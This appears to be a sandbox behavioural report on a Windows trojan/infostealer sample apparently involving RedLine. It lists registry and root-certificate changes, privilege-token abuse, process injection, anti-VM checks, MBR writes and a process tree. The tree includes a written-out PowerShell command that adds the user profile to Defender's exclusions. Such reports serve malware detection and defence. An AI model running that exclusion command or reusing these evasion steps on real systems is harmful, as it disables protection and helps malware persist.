Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\06-06-a1-c9-6d-1e\WpadDetectedUrl	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	eKfotrz.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	eKfotrz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\06-06-a1-c9-6d-1e\WpadDecision = "0"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	eKfotrz.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{FA1BBD2F-E8B6-4DD1-8D1E-6567BD2EE38B}\WpadNetworkName = "Network 3"	eKfotrz.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	eKfotrz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	eKfotrz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	eKfotrz.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\06-06-a1-c9-6d-1e	eKfotrz.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	eKfotrz.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	eKfotrz.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	eKfotrz.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{FA1BBD2F-E8B6-4DD1-8D1E-6567BD2EE38B}	eKfotrz.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	eKfotrz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	eKfotrz.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	eKfotrz.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	eKfotrz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	eKfotrz.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	eKfotrz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	eKfotrz.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CTLs	eKfotrz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	eKfotrz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	eKfotrz.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{6C467336-8281-4E60-8204-430CED96822D} {000214E4-0000-0000-C000-000000000046} 0xFFFF = 01000000000000000075096121b9da01	EByWAxd.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	EByWAxd.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	eKfotrz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	eKfotrz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	eKfotrz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{FA1BBD2F-E8B6-4DD1-8D1E-6567BD2EE38B}\WpadDecisionReason = "1"	eKfotrz.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	eKfotrz.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	eKfotrz.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	eKfotrz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	eKfotrz.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CRLs	eKfotrz.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f007b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	eKfotrz.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f007b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	eKfotrz.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	eKfotrz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	eKfotrz.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	eKfotrz.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	eKfotrz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\06-06-a1-c9-6d-1e\WpadDecisionReason = "1"	eKfotrz.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	eKfotrz.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	eKfotrz.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	eKfotrz.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	eKfotrz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	EByWAxd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	eKfotrz.exe

Modifies system certificate store 2 TTPs 4 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	HqA55f547cg1gL6v7PJmBsf8.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	HqA55f547cg1gL6v7PJmBsf8.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	HqA55f547cg1gL6v7PJmBsf8.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	HqA55f547cg1gL6v7PJmBsf8.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2876	33714ad5a998983029e956d202963a3c2e05c9671033d2b4c50d6e5ebdfcdb42.exe
2596	axplong.exe
1200	powershell.exe
1712	QpVB2zLMp5uymu8SyDWvJowq.exe
1712	QpVB2zLMp5uymu8SyDWvJowq.exe
2700	HqA55f547cg1gL6v7PJmBsf8.exe
320	powershell.exe
320	powershell.exe
320	powershell.exe
2880	powershell.exe
1960	powershell.exe
1960	powershell.exe
1960	powershell.exe
1104	powershell.EXE
1932	redline123123.exe
1104	powershell.EXE
1104	powershell.EXE
1932	redline123123.exe
1932	redline123123.exe
1704	powershell.exe
1976	FirstZ.exe
2188	powershell.exe
2188	powershell.exe
2188	powershell.exe
1960	powershell.exe
1252	eKfotrz.exe
1252	eKfotrz.exe
1252	eKfotrz.exe
1252	eKfotrz.exe
1252	eKfotrz.exe
1976	FirstZ.exe
1976	FirstZ.exe
1976	FirstZ.exe
1976	FirstZ.exe
2116	powershell.exe
1976	FirstZ.exe
1252	eKfotrz.exe
1252	eKfotrz.exe
1252	eKfotrz.exe
1976	FirstZ.exe
1976	FirstZ.exe
1976	FirstZ.exe
1976	FirstZ.exe
1976	FirstZ.exe
1976	FirstZ.exe
1976	FirstZ.exe
1976	FirstZ.exe
1976	FirstZ.exe
2580	reakuqnanrkn.exe
2736	powershell.exe
2484	powershell.exe
2580	reakuqnanrkn.exe
2580	reakuqnanrkn.exe
2580	reakuqnanrkn.exe
2580	reakuqnanrkn.exe
2580	reakuqnanrkn.exe
2580	reakuqnanrkn.exe
2580	reakuqnanrkn.exe
2580	reakuqnanrkn.exe
2580	reakuqnanrkn.exe
2580	reakuqnanrkn.exe
2580	reakuqnanrkn.exe
2580	reakuqnanrkn.exe
1364	explorer.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1200	powershell.exe
Token: SeDebugPrivilege	2280	regsvcs.exe
Token: SeManageVolumePrivilege	1712	QpVB2zLMp5uymu8SyDWvJowq.exe
Token: SeDebugPrivilege	320	powershell.exe
Token: SeDebugPrivilege	2880	powershell.exe
Token: SeIncreaseQuotaPrivilege	2876	WMIC.exe
Token: SeSecurityPrivilege	2876	WMIC.exe
Token: SeTakeOwnershipPrivilege	2876	WMIC.exe
Token: SeLoadDriverPrivilege	2876	WMIC.exe
Token: SeSystemProfilePrivilege	2876	WMIC.exe
Token: SeSystemtimePrivilege	2876	WMIC.exe
Token: SeProfSingleProcessPrivilege	2876	WMIC.exe
Token: SeIncBasePriorityPrivilege	2876	WMIC.exe
Token: SeCreatePagefilePrivilege	2876	WMIC.exe
Token: SeBackupPrivilege	2876	WMIC.exe
Token: SeRestorePrivilege	2876	WMIC.exe
Token: SeShutdownPrivilege	2876	WMIC.exe
Token: SeDebugPrivilege	2876	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2876	WMIC.exe
Token: SeRemoteShutdownPrivilege	2876	WMIC.exe
Token: SeUndockPrivilege	2876	WMIC.exe
Token: SeManageVolumePrivilege	2876	WMIC.exe
Token: 33	2876	WMIC.exe
Token: 34	2876	WMIC.exe
Token: 35	2876	WMIC.exe
Token: SeDebugPrivilege	1960	powershell.exe
Token: SeDebugPrivilege	1104	powershell.EXE
Token: SeDebugPrivilege	1932	redline123123.exe
Token: SeDebugPrivilege	1704	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	524	WMIC.exe
Token: SeIncreaseQuotaPrivilege	524	WMIC.exe
Token: SeSecurityPrivilege	524	WMIC.exe
Token: SeTakeOwnershipPrivilege	524	WMIC.exe
Token: SeLoadDriverPrivilege	524	WMIC.exe
Token: SeSystemtimePrivilege	524	WMIC.exe
Token: SeBackupPrivilege	524	WMIC.exe
Token: SeRestorePrivilege	524	WMIC.exe
Token: SeShutdownPrivilege	524	WMIC.exe
Token: SeSystemEnvironmentPrivilege	524	WMIC.exe
Token: SeUndockPrivilege	524	WMIC.exe
Token: SeManageVolumePrivilege	524	WMIC.exe
Token: SeDebugPrivilege	2188	powershell.exe
Token: SeDebugPrivilege	1960	powershell.exe
Token: SeDebugPrivilege	2116	powershell.exe
Token: SeShutdownPrivilege	1504	powercfg.exe
Token: SeShutdownPrivilege	2224	powercfg.exe
Token: SeShutdownPrivilege	852	powercfg.exe
Token: SeShutdownPrivilege	1860	powercfg.exe
Token: SeAssignPrimaryTokenPrivilege	2332	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2332	WMIC.exe
Token: SeSecurityPrivilege	2332	WMIC.exe
Token: SeTakeOwnershipPrivilege	2332	WMIC.exe
Token: SeLoadDriverPrivilege	2332	WMIC.exe
Token: SeSystemtimePrivilege	2332	WMIC.exe
Token: SeBackupPrivilege	2332	WMIC.exe
Token: SeRestorePrivilege	2332	WMIC.exe
Token: SeShutdownPrivilege	2332	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2332	WMIC.exe
Token: SeUndockPrivilege	2332	WMIC.exe
Token: SeManageVolumePrivilege	2332	WMIC.exe
Token: SeDebugPrivilege	2736	powershell.exe
Token: SeDebugPrivilege	2484	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	1360	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1360	WMIC.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2876	33714ad5a998983029e956d202963a3c2e05c9671033d2b4c50d6e5ebdfcdb42.exe
1712	QpVB2zLMp5uymu8SyDWvJowq.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
1712	QpVB2zLMp5uymu8SyDWvJowq.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2876 wrote to memory of 2596	2876	33714ad5a998983029e956d202963a3c2e05c9671033d2b4c50d6e5ebdfcdb42.exe	28
PID 2876 wrote to memory of 2596	2876	33714ad5a998983029e956d202963a3c2e05c9671033d2b4c50d6e5ebdfcdb42.exe	28
PID 2876 wrote to memory of 2596	2876	33714ad5a998983029e956d202963a3c2e05c9671033d2b4c50d6e5ebdfcdb42.exe	28
PID 2876 wrote to memory of 2596	2876	33714ad5a998983029e956d202963a3c2e05c9671033d2b4c50d6e5ebdfcdb42.exe	28
PID 2596 wrote to memory of 792	2596	axplong.exe	30
PID 2596 wrote to memory of 792	2596	axplong.exe	30
PID 2596 wrote to memory of 792	2596	axplong.exe	30
PID 2596 wrote to memory of 792	2596	axplong.exe	30
PID 792 wrote to memory of 1200	792	file300un.exe	32
PID 792 wrote to memory of 1200	792	file300un.exe	32
PID 792 wrote to memory of 1200	792	file300un.exe	32
PID 792 wrote to memory of 2280	792	file300un.exe	34
PID 792 wrote to memory of 2280	792	file300un.exe	34
PID 792 wrote to memory of 2280	792	file300un.exe	34
PID 792 wrote to memory of 2280	792	file300un.exe	34
PID 792 wrote to memory of 2280	792	file300un.exe	34
PID 792 wrote to memory of 2280	792	file300un.exe	34
PID 792 wrote to memory of 2280	792	file300un.exe	34
PID 792 wrote to memory of 2280	792	file300un.exe	34
PID 792 wrote to memory of 2280	792	file300un.exe	34
PID 792 wrote to memory of 2280	792	file300un.exe	34
PID 792 wrote to memory of 2280	792	file300un.exe	34
PID 792 wrote to memory of 2280	792	file300un.exe	34
PID 2596 wrote to memory of 1248	2596	axplong.exe	35
PID 2596 wrote to memory of 1248	2596	axplong.exe	35
PID 2596 wrote to memory of 1248	2596	axplong.exe	35
PID 2596 wrote to memory of 1248	2596	axplong.exe	35
PID 2280 wrote to memory of 1712	2280	regsvcs.exe	36
PID 2280 wrote to memory of 1712	2280	regsvcs.exe	36
PID 2280 wrote to memory of 1712	2280	regsvcs.exe	36
PID 2280 wrote to memory of 1712	2280	regsvcs.exe	36
PID 2280 wrote to memory of 1712	2280	regsvcs.exe	36
PID 2280 wrote to memory of 1712	2280	regsvcs.exe	36
PID 2280 wrote to memory of 1712	2280	regsvcs.exe	36
PID 2280 wrote to memory of 2700	2280	regsvcs.exe	40
PID 2280 wrote to memory of 2700	2280	regsvcs.exe	40
PID 2280 wrote to memory of 2700	2280	regsvcs.exe	40
PID 2280 wrote to memory of 2700	2280	regsvcs.exe	40
PID 2280 wrote to memory of 800	2280	regsvcs.exe	41
PID 2280 wrote to memory of 800	2280	regsvcs.exe	41
PID 2280 wrote to memory of 800	2280	regsvcs.exe	41
PID 2280 wrote to memory of 800	2280	regsvcs.exe	41
PID 2280 wrote to memory of 800	2280	regsvcs.exe	41
PID 2280 wrote to memory of 800	2280	regsvcs.exe	41
PID 2280 wrote to memory of 800	2280	regsvcs.exe	41
PID 800 wrote to memory of 672	800	iw2rdwuO01Y7ysK806SnpS14.exe	42
PID 800 wrote to memory of 672	800	iw2rdwuO01Y7ysK806SnpS14.exe	42
PID 800 wrote to memory of 672	800	iw2rdwuO01Y7ysK806SnpS14.exe	42
PID 800 wrote to memory of 672	800	iw2rdwuO01Y7ysK806SnpS14.exe	42
PID 800 wrote to memory of 672	800	iw2rdwuO01Y7ysK806SnpS14.exe	42
PID 800 wrote to memory of 672	800	iw2rdwuO01Y7ysK806SnpS14.exe	42
PID 800 wrote to memory of 672	800	iw2rdwuO01Y7ysK806SnpS14.exe	42
PID 672 wrote to memory of 2132	672	Install.exe	43
PID 672 wrote to memory of 2132	672	Install.exe	43
PID 672 wrote to memory of 2132	672	Install.exe	43
PID 672 wrote to memory of 2132	672	Install.exe	43
PID 672 wrote to memory of 2132	672	Install.exe	43
PID 672 wrote to memory of 2132	672	Install.exe	43
PID 672 wrote to memory of 2132	672	Install.exe	43
PID 2132 wrote to memory of 2196	2132	Install.exe	44
PID 2132 wrote to memory of 2196	2132	Install.exe	44
PID 2132 wrote to memory of 2196	2132	Install.exe	44
PID 2132 wrote to memory of 2196	2132	Install.exe	44
PID 2132 wrote to memory of 2196	2132	Install.exe	44

C:\Users\Admin\AppData\Local\Temp\33714ad5a998983029e956d202963a3c2e05c9671033d2b4c50d6e5ebdfcdb42.exe
"C:\Users\Admin\AppData\Local\Temp\33714ad5a998983029e956d202963a3c2e05c9671033d2b4c50d6e5ebdfcdb42.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2876
- C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
  "C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Loads dropped DLL
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2596
- - C:\Users\Admin\AppData\Local\Temp\1000002001\file300un.exe
    "C:\Users\Admin\AppData\Local\Temp\1000002001\file300un.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:792
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:UserProfile
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1200
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
      4⤵
      Drops startup file
      Loads dropped DLL
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2280
    - - C:\Users\Admin\Pictures\QpVB2zLMp5uymu8SyDWvJowq.exe
        
        "C:\Users\Admin\Pictures\QpVB2zLMp5uymu8SyDWvJowq.exe" /s
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Writes to the Master Boot Record (MBR)
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:1712
      - C:\Users\Admin\Pictures\360TS_Setup.exe
        
        "C:\Users\Admin\Pictures\360TS_Setup.exe" /c:WW.Marketator.CPI20230405 /pmode:2 /s /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo=
